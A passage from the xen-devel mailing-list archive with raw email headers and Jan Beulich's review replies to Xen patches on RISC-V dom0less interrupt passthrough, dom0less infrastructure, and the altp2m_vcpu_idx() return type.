In-Reply-To: <c8611ea230ffaf44bec4b4232dfbb9832bb24619.1783331040.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c1860d/1784205328-CE74387B-3DAF04C9/10/73395122804
X-purgate-type: spam
X-purgate-size: 3706

On 06.07.2026 17:58, Oleksii Kurochko wrote:
> dom0less device passthrough requires granting guest domains access to
> device interrupts.  Introduce map_device_irqs_to_domain() to enumerate
> a DT node's interrupt properties, skipping those not owned by
> the primary interrupt controller (as at the moment I haven't seen usages
> of it), and map_irq_to_domain() to grant domain access and configure
> Xen's interrupt descriptor accordingly. Sharing IRQ between domains is
> rejected.
> 
> Both map_irq_to_domain() and map_device_irqs_to_domain() are marked
> __overlay_init, mirroring Arm: without CONFIG_OVERLAY_DTB this expands to
> __init, so the functions are init-only and need no XSM check; with
> CONFIG_OVERLAY_DTB they become runtime-callable, but the only runtime
> entry point is dt_overlay_domctl(), which performs the XSM checks at the
> domctl layer.  RISC-V does not wire up DT overlay yet, so today these are
> strictly __init; if/when overlay support is added, the domctl-level XSM
> gating must be added together with it, as on Arm.
> 
> route_irq_to_guest() and release_irq() manage irq_desc ownership for
> guest-assigned interrupts.  Each assignment carries a small irq_guest
> structure as irqaction::dev_id, recording the owning domain and virtual
> IRQ number which is 1:1 mapped to physical IRQ number.  A per-domain
> vIRQ allocation bitmap (used_irqs in struct vintc), managed by
> vintc_reserve_virq(), prevents the same vIRQ being claimed twice.
> 
> Host and guest interrupts may differ in some operations (EOI timing in
> particular, possibly others): a host IRQ is completed once Xen's handler
> runs, whereas a passthrough IRQ must defer the physical completion until
> the guest issues its own EOI, otherwise a still-asserted level line would
> immediately retrigger and storm.  This affects only the .end callback;
> the rest of hw_interrupt_type is shared, hence the separate host and
> guest hw_interrupt_type instances.
> 
> With APLIC+IMSIC, guest interrupts are delivered directly by hardware
> through the IMSIC, bypassing do_IRQ(). The _IRQ_GUEST branch in
> do_IRQ() is therefore left as BUG() until a platform without direct
> IMSIC delivery is encountered.
> 
> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Acked-by: Jan Beulich <jbeulich@suse.com>

Irrespective I'm pretty curious how ...

> --- a/xen/arch/riscv/aplic.c
> +++ b/xen/arch/riscv/aplic.c
> @@ -306,9 +306,13 @@ static const hw_irq_controller aplic_xen_irq_type = {
>      .set_affinity = aplic_set_irq_affinity,
>  };
>  
> +/* At the moment there is no difference between guest and Xen ops */
> +#define aplic_guest_irq_type aplic_xen_irq_type
> +
>  static const struct intc_hw_operations aplic_ops = {
>      .info                = &aplic_info,
>      .host_irq_type       = &aplic_xen_irq_type,
> +    .guest_irq_type      = &aplic_guest_irq_type,
>      .handle_interrupt    = aplic_handle_interrupt,
>      .set_irq_type        = aplic_set_irq_type,
>  };

... this duplication of the same struct into ...

> --- a/xen/arch/riscv/include/asm/intc.h
> +++ b/xen/arch/riscv/include/asm/intc.h
> @@ -15,6 +15,7 @@ enum intc_variant {
>  };
>  
>  struct cpu_user_regs;
> +struct domain;
>  struct irq_desc;
>  struct kernel_info;
>  struct vcpu;
> @@ -34,6 +35,9 @@ struct intc_hw_operations {
>      /* hw_irq_controller to enable/disable/eoi host irq */
>      const struct hw_interrupt_type *host_irq_type;
>  
> +    /* hw_irq_controller to enable/disable/eoi guest irq */
> +    const struct hw_interrupt_type *guest_irq_type;

... two distinct fields is going to work / be useful.

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 12:37:29 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 12:37:29 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363981.1615377 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkLLE-0004qV-20; Thu, 16 Jul 2026 12:37:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363981.1615377; Thu, 16 Jul 2026 12:37:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkLLD-0004qO-VW; Thu, 16 Jul 2026 12:37:27 +0000
Received: by outflank-mailman (input) for mailman id 1363981;
 Thu, 16 Jul 2026 12:37:27 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92) id 1wkLLC-0004qI-VR
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 12:37:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkLLC-00HIyl-CH
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 14:37:26 +0200
Received: from [10.42.69.5] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58d078-bab6-0a2a0a5309dd-0a2a45058a82-42
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 14:37:26 +0200
Received: from [209.85.128.48] (helo=mail-wm1-f48.google.com)
 by tlsNG-c201ff.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58d086-4cb1-0a2a45050019-d1558030d0de-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 14:37:26 +0200
Received: by mail-wm1-f48.google.com with SMTP id
 5b1f17b1804b1-49546c690ffso684015e9.2
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 05:37:26 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-49541ebe485sm52231875e9.14.2026.07.16.05.37.24
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 16 Jul 2026 05:37:24 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784205446; x=1784810246; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=IrdG6Ig7zuqlgnxdtA/QevxhSFr0NlbEin9CqGi0gl4=;
        b=JTxemcaKChq49PJ621lMpCFGVp2pAtO7kTQb2jXSsHZA3l6hbqK8Z/nqga0J0BjyRG
         uzGGW4L7WsK2DCdBjj020rzGLMd3ZUkRtBt8335D567etACZhzHzMhYd8BhGDDMZ3WxS
         yRw8mCf4+DpVXJZLBWcH2TE7ijPTXTGYX2m8xfa+6gyheEDPF6aAIR8oBWPre+CdCfNX
         Nv4r2nq11LxjsPpmueu2UFDvA8vVNkwv0602Wyi5o+++lFsLaaqwDYnjSVI1+ofSYkBD
         uNRlhepnviNJUPjiTFya/VmxRvCyxuTLDjyjcIdRcetL+HkKG1TfMIk/AH3OW/yFa33c
         O09A==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784205446; x=1784810246;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=IrdG6Ig7zuqlgnxdtA/QevxhSFr0NlbEin9CqGi0gl4=;
        b=VanhOXkKGcyobWsECnljFaPN/XPUzrIWrAgHo0/yQcefzwqmIW1p4Oa3j9G11X4bYZ
         nyWa5bxEuKRnHQWd7U1j3CA1GAMwVO/izb2JjDqXHUcG/0PM3ryZ4JSQ7eKOAQZeMeRp
         tMXm95eHsKCb7QjnaCx7S02yMrufMUu6AFWXZ5MYzVD2SgGRgthHUfBnBxHHDxiQBpIw
         6vP4nW2URxYx+U5ySHMrCAV2GS/Qj1V7+hGpAALPcvj5uMBECPp7eRC7iMyyWVE+qJO+
         oRr8bjzIiMp6Z32u4FZd6O5WTbAtA7dQL+fR5yXcJtPTaqJoz0kTNRO/uMF5kXJbj+3i
         sXFA==
X-Forwarded-Encrypted: i=1; AHgh+RrawlOFRTQ+rJmOKwkWDhBRdDfGgq0/bhFY+fntrDapzopLA+7+4FmWBeJ2JqkeV9+mT5OPW8VE3mU=@lists.xenproject.org
X-Gm-Message-State: AOJu0YxaPhheGXxmSCxstk/5lKlfSMt8jm0DXk6dUwJIn4gFaaq3Hi9q
	KNJMxoKQW5TUANloEC52DEdaNf9i2PhBgdVwKUzVRJo2yNkGz52skJiu0zXM37TyoQ==
X-Gm-Gg: AfdE7cn/m+wWh8bV8km+zSM/yQMXdPUh7VSWg/M+1+G4ko8R6P0YZVZMO+ZB9UhJdjV
	sbKWi6pCP1Rs84GwJLZ033eDjiKx7peocUAjE4JPq9IQ51JZFyge0hG43QSrzTEsU3PuHgLIOgW
	aVXtnfbL74I8V4eiBrdix2iwzWk6VS1+/Q6Ncf4czi+Es+zuwuYRt9H54ClPdoYJDhkxBdkQzPP
	ixAlKUbAZ5Oz/dhBIfCKFB4rMJiEHb5dn1sQZVKo4Z2SwtzfCt7d7+1ceDA9rLdfBwrTG2XyUia
	x04jZVikMlXyceUq/+j9JrgXNBjluD4AydvjMGGiUB54VUR6ncnE0ScirgvO4E1qhROTeoq1GFc
	Eba1Njsr4HOWZK1XpAsEuI22cXbXqmcLx1uVVHC3MYK3GqfRMLxyvp4o2QsZSRu8hRW/mhIsfTx
	qF1CgVI6k6tKq8NfVISAQlcJroZsHLPRhqMiDMO11eXXdZrfnl2kPF2ClIpvxDA7ourC7oEkNJm
	Gmr
X-Received: by 2002:a05:600c:628b:b0:495:3da0:3f52 with SMTP id 5b1f17b1804b1-4953da04055mr75878215e9.19.1784205445728;
        Thu, 16 Jul 2026 05:37:25 -0700 (PDT)
Message-ID: <15038e5f-588e-4c60-986d-0141bb9d4dce@suse.com>
Date: Thu, 16 Jul 2026 14:37:24 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v5 25/26] xen/riscv: add initial dom0less infrastructure
 support
To: Oleksii Kurochko <oleksii.kurochko@gmail.com>
Cc: Romain Caritey <Romain.Caritey@microchip.com>,
 Baptiste Le Duc <baptiste.le-duc@vates.tech>,
 Alistair Francis <alistair.francis@wdc.com>,
 Connor Davis <connojdavis@gmail.com>,
 Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>, xen-devel@lists.xenproject.org
References: <cover.1783331040.git.oleksii.kurochko@gmail.com>
 <8fdb9cb4579e20dec10a9919fa966bc00394c6e7.1783331040.git.oleksii.kurochko@gmail.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9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Ms7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <8fdb9cb4579e20dec10a9919fa966bc00394c6e7.1783331040.git.oleksii.kurochko@gmail.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-c201ff/1784205446-72EB12A1-E3D7C089/10/73395122804
X-purgate-type: spam
X-purgate-size: 1554

On 06.07.2026 17:58, Oleksii Kurochko wrote:
> Enable dom0less support for RISC-V by selecting HAS_DOM0LESS and
> providing the minimal architecture hooks required by the common
> dom0less infrastructure.
> 
> Add stub implementations for architecture-specific helpers used when
> building domains from the device tree. These allow the generic
> dom0less code to build and let a basic DomU be constructed on RISC-V.
> construct_hwdom() and make_hypervisor_node() are still stubs returning
> an error: Dom0/hwdom construction isn't supported yet, and the
> hypervisor node generation (needed by domains with
> DOM0LESS_ENHANCED_NO_XS set) is not implemented. Both are marked with
> a TODO and are not reached by the currently supported configurations.
> 
> Provide missing helpers and definitions required by the domain
> construction code, including domain bitness helpers and the
> p2m_set_allocation() prototype.
> 
> Additionally define the guest magic memory region (GUEST_MAGIC_BASE /
> GUEST_MAGIC_SIZE) in asm/guest-layout.h. The base is arbitrary; the
> only constraint is that the region must not overlap guest RAM or the
> emulated device regions. It is placed in the unused gap below
> GUEST_RAM0_BASE (0x80000000); the constraints are documented next to
> the #define-s.
> 
> A separate region for grant tables will be introduced at the same time as
> the introduction of the grant table for RISC-V.
> 
> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>

Acked-by: Jan Beulich <jbeulich@suse.com>



From xen-devel-bounces@lists.xenproject.org Thu Jul 16 12:50:05 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 12:50:05 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1363991.1615386 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkLXJ-0006d5-1R; Thu, 16 Jul 2026 12:49:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1363991.1615386; Thu, 16 Jul 2026 12:49:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkLXI-0006cy-V3; Thu, 16 Jul 2026 12:49:56 +0000
Received: by outflank-mailman (input) for mailman id 1363991;
 Thu, 16 Jul 2026 12:49:55 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wkLXG-0006cs-Ua
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 12:49:55 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkLXG-00HLZi-BW
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 14:49:54 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58d364-bab6-0a2a0a5309dd-0a2a4504df08-48
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 14:49:54 +0200
Received: from [209.85.221.52] (helo=mail-wr1-f52.google.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58d371-b57f-0a2a45040019-d155dd34b91a-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 14:49:54 +0200
Received: by mail-wr1-f52.google.com with SMTP id
 ffacd0b85a97d-47f3e6cc44aso3857358f8f.3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 05:49:54 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47f464c7c96sm23879797f8f.33.2026.07.16.05.49.50
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Thu, 16 Jul 2026 05:49:51 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1784206193; x=1784810993; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=h6k6uqnNcxBGn6PB3uRPHz/Z9KrPxNrbVq7rpBYBgLw=;
        b=AuehNHjuCvSGwSLgDtJI/DIJyX+o9U2BQSG698TH8sCEj9/tdm/l7GZmigFBBQEhAk
         nFWT7LD64UrSJ32LM4+hUMAYDDRThVEaQ38NwYlfw6XuUXrdwDGpu7hKnNu9gQiTwYhB
         sw9JsDjDjlXwQi+Phv1/nbXjpp9OlE8NqPkTAwVYvHduqC2XZUAvbVyP/zjnuq8elUR6
         zbi0rWysgyCOpYwHz/Usk4kNH8GdBI6gB8MHhYrc+LNs9WhpN/Yx4X2XetlV9RvBr8rL
         hzNNixClGZnAW90K17UdjqKrdVWJEFmgFubb2pWfu8Aa0onlHu4pSj9Urp992A1jx7np
         +DHA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784206193; x=1784810993;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=h6k6uqnNcxBGn6PB3uRPHz/Z9KrPxNrbVq7rpBYBgLw=;
        b=pFaIuLyzy0IvLx288ZbaxaDzkfoKLWhsXO+2AhM5zzTw81Xj7WLf8fmum6bCvR/fW1
         dX87+RZ19JSX+10iaTZWijQrbiAUb5D2qoBqCw5C+R1vrbR3vx9CHvp2CD25kX7SGADe
         fVwDjIKdwX8+MmkY6qfzB2rMsFw61+SdGPr7SJOoTtCquKFYR2MGdQTs8liTFZ4M5XH4
         xRTw3R83jI+6BmWJkj0Fx+f7CWDpFfKqr3xnBJc13lwo6kUTjkkjAJLEDSCfaNSbteYU
         bqUj0BsIzuqyKfrkguP9ei0m2BqNeeXuF7Tbfi8Brwz7O5vZTNWbwCpvHwQ8BZE4QqOl
         eweg==
X-Forwarded-Encrypted: i=1; AHgh+RrK2+Eiu3WH4CRjs6axWrivpXIfjp/0XmMo/UXMPw1n0WH3c5w8PzQbSpmsJSTZZIMc49GGL8kRBg0=@lists.xenproject.org
X-Gm-Message-State: AOJu0YzunQeKRQKJ0TIjN4XZJi6Xws1TOth8aZe9a/c2B+IMFzP737sg
	fORs3TOgfLDQoVzcPSBLcYWc/uKrJI1U+Zzewige2Aa5u/fUb3C9TBm8ODW60xfHsg==
X-Gm-Gg: AfdE7cmAnIjNniKK+ZMr8gjL5PzXRiM9KLaOvlshYChXpf1ozHc1QTW824v25yCGomR
	BMIw2tlRvcrHP+TLrou+IcocoNgOlhJ4Ia0v5VyxDuL0yVsp7JLbyHfaR4lyc54NAWnpmUY06xz
	SVVZ+xfsk3N3uXuDR5Fj46dgdqjM7i1JkJGdm+fe6xOLmsBLyBGej+rBjOMwsr587So249C63Vs
	5BCbTpPSUBL2OgRCAL0tvmEJ+NuEvuGRc1lXo+DLjtnGKIHwUvMxHSuyuKF88tqOdSlpyPDkUzM
	1ueFGxCLJHfn5EuuAoBUkQ7hqhFyRsPBoerRSPYpddg7BPBL3JEK/+Xl6wv+ZyQkPW0/goy0auR
	7sOr4j+tEmDYPYYaEIdARbkuPuKfw1wggKuOl/LUXy3tfs2UEnrx2GiAmgMvv2PA49ETUxhC3OY
	rN1Uv9U7Yuvh1uZH2MYFL1g+k3/hw/51VJpdqxv1t8eEqeG60t0rHFwW3u2WJGLB33vg==
X-Received: by 2002:a05:6000:310d:b0:474:83d4:9916 with SMTP id ffacd0b85a97d-47f4885698emr13575854f8f.17.1784206193349;
        Thu, 16 Jul 2026 05:49:53 -0700 (PDT)
Message-ID: <78dd1a83-48a4-40d6-841b-58a94d57d3f3@suse.com>
Date: Thu, 16 Jul 2026 14:49:49 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v2] generic/altp2m: align and simplify altp2m_vcpu_idx()
To: Dmytro Prokopchuk1 <dmytro_prokopchuk1@epam.com>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Anthony PERARD <anthony.perard@vates.tech>,
 Michal Orzel <michal.orzel@amd.com>, Julien Grall <julien@xen.org>,
 =?UTF-8?Q?Roger_Pau_Monn=C3=A9?= <roger.pau@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 "xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
References: <f246f66c9020d5ab5f6ca20e0645b93b6210b4a2.1783608944.git.dmytro_prokopchuk1@epam.com>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+LpBtvjBu1RY9drYk0NymiGbJWZgab6t1jM7sk2vuf0Py
 O9Hf9XBmK0uE9IgMaiCpc32XV9oASz6UJebwkX+zF2jG5I1BfnO9g7KlotcA/v5ClMjgo6Gl
 MDY4HxoSRu3i1cqqSDtVlt+AOVBJBACrZcnHAUSuCXBPy0jOlBhxPqRWv6ND4c9PH1xjQ3NP
 nxJuMBS8rnNg22uyfAgmBKNLpLgAGVRMZGaGoJObGf72s6TeIqKJo/LtggAS9qAUiuKVnygo
 3wjfkS9A3DRO+SpU7JqWdsveeIQyeyEJ/8PTowmSQLakF+3fote9ybzd880fSmFuIEJldWxp
 Y2ggPGpiZXVsaWNoQHN1c2UuY29tPsJgBBMRAgAgBQJZN5xEAhsDBgsJCAcDAgQVAggDBBYC
 AwECHgECF4AACgkQoDSui/t3IH4J+wCfQ5jHdEjCRHj23O/5ttg9r9OIruwAn3103WUITZee
 e7Sbg12UgcQ5lv7SzsFNBFk3nEQQCACCuTjCjFOUdi5Nm244F+78kLghRcin/awv+IrTcIWF
 hUpSs1Y91iQQ7KItirz5uwCPlwejSJDQJLIS+QtJHaXDXeV6NI0Uef1hP20+y8qydDiVkv6l
 IreXjTb7DvksRgJNvCkWtYnlS3mYvQ9NzS9PhyALWbXnH6sIJd2O9lKS1Mrfq+y0IXCP10eS
 FFGg+Av3IQeFatkJAyju0PPthyTqxSI4lZYuJVPknzgaeuJv/2NccrPvmeDg6Coe7ZIeQ8Yj
 t0ARxu2xytAkkLCel1Lz1WLmwLstV30g80nkgZf/wr+/BXJW/oIvRlonUkxv+IbBM3dX2OV8
 AmRv1ySWPTP7AAMFB/9PQK/VtlNUJvg8GXj9ootzrteGfVZVVT4XBJkfwBcpC/XcPzldjv+3
 HYudvpdNK3lLujXeA5fLOH+Z/G9WBc5pFVSMocI71I8bT8lIAzreg0WvkWg5V2WZsUMlnDL9
 mpwIGFhlbM3gfDMs7MPMu8YQRFVdUvtSpaAs8OFfGQ0ia3LGZcjA6Ik2+xcqscEJzNH+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <f246f66c9020d5ab5f6ca20e0645b93b6210b4a2.1783608944.git.dmytro_prokopchuk1@epam.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-ebf023/1784206194-C32CCB50-B1F182ED/0/0
X-purgate-type: clean
X-purgate-size: 1450

On 09.07.2026 17:23, Dmytro Prokopchuk1 wrote:
> The return type of altp2m_vcpu_idx() in the generic altp2m.h header is
> currently 'unsigned int', which is inconsistent with its uint16_t
> return type on x86 and the altp2m_idx member of the monitor structures.
> 
> To fix this type inconsistency and simplify the header, this patch
> replaces the static inline implementation of altp2m_vcpu_idx()
> (contained a BUG() stub) with a simple function declaration returning
> uint16_t.

While I appreciate that this may be the easiest route, I disagree. Not
even considering ./CODING_STYLE, uint16_t may be an appropriate choice
on x86, but it pretty certainly isn't a good one in generic code. I
have a vague recollection that it might actually have been me to request
use of unsigned int when the stub was added. If so, it was for said
reason.

> For architectures using the generic altp2m.h header (such as ARM when
> CONFIG_VM_EVENT is enabled), common code calls to altp2m_vcpu_idx() in
> common/monitor.c are guarded by altp2m_active(), which statically
> returns false. The compiler DCE will optimize out these calls, avoiding
> any linker issues for the missing definition.

This part is definitely fine in principle. However, if a declaration
suffices, that would then better also be what x86 uses when !ALTP2M.
I.e. I think you want to #include <asm-generic/altp2m.h> from that
section of x86'es asm/altp2m.h

Jan


From xen-devel-bounces@lists.xenproject.org Thu Jul 16 13:11:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 16 Jul 2026 13:11:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1364010.1615395 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkLs8-00021e-NF; Thu, 16 Jul 2026 13:11:28 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1364010.1615395; Thu, 16 Jul 2026 13:11:28 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wkLs8-00021X-KX; Thu, 16 Jul 2026 13:11:28 +0000
Received: by outflank-mailman (input) for mailman id 1364010;
 Thu, 16 Jul 2026 13:11:27 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wkLs7-00021R-MS
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 13:11:27 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wkLs7-006OY9-37
 for xen-devel@lists.xenproject.org; Thu, 16 Jul 2026 15:11:27 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58d874-5cb7-0a2a0a5109dd-0a2a450abdb4-28
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 15:11:27 +0200
Received: from [209.85.128.51] (helo=mail-wm1-f51.google.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a58d87e-f2d2-0a2a450a0019-d1558033b09d-3
 for <xen-devel@lists.xenproject.org>; Thu, 16 Jul 2026 15:11:26 +0200
Received: by mail-wm1-f51.google.com with SMTP id
 5b1f17b1804b1-493b1710405so36550145e9.2
